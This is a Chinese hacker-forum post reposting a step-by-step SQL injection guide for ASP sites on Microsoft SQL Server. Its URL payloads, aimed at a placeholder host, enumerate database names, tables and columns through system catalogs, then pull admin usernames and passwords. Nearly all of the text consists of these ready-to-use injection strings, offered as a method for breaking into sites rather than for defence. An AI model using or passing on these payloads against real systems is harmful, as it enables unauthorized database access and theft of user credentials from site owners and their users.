- UID
- 7230
注册时间2006-1-19
阅读权限20
最后登录1970-1-1
以武会友
TA的每日心情 | 怒 2022-1-22 22:38 |
---|
签到天数: 16 天 [LV.4]偶尔看看III
|
从暴库到暴密码的一般步骤
信息来源:lanker blog
文章作者:lanker
看了臭要饭写的跨库查询,我整理了一下从暴库到暴出密码等的一般
步骤,使得思路更清晰些。
SQL INJECTION 灵活多变,注入的语句不一,下面只提供暴库的一般
步骤,希望能对你有帮助。
1:暴出所有库名.
http://www.xxx.com/xxx.asp?id=1 and 0<>(select count(*)
from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
2:暴出库中的表
假设存在一个bbs的数据库,提交下面的语句:
http://www.xxx.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U')
来得到一个表 假设为 admin
提交:
http://www.xxx.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U' and name not in
('Admin'))
来得到其他的表。
3:暴出表中的字段
提交:
http://www.xxx.com/xxx.asp?id=1 and 0<>(select count(*)
from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id)))
得到UID的数值假设为18779569 uid=id
提交:
http://www.xxx.com/xxx.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id
提交:
http://www.xxx.com/xxx.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...))
来暴出其他的字段
4:暴出用户名和密码等
假设存在user_id username ,password 等字段,提交:
http://www.xxx.com/xxx.asp?id=1 and 0<(select user_id from
BBS.dbo.admin where username>1)
可以得到用户名
依次可以得到密码。 |
|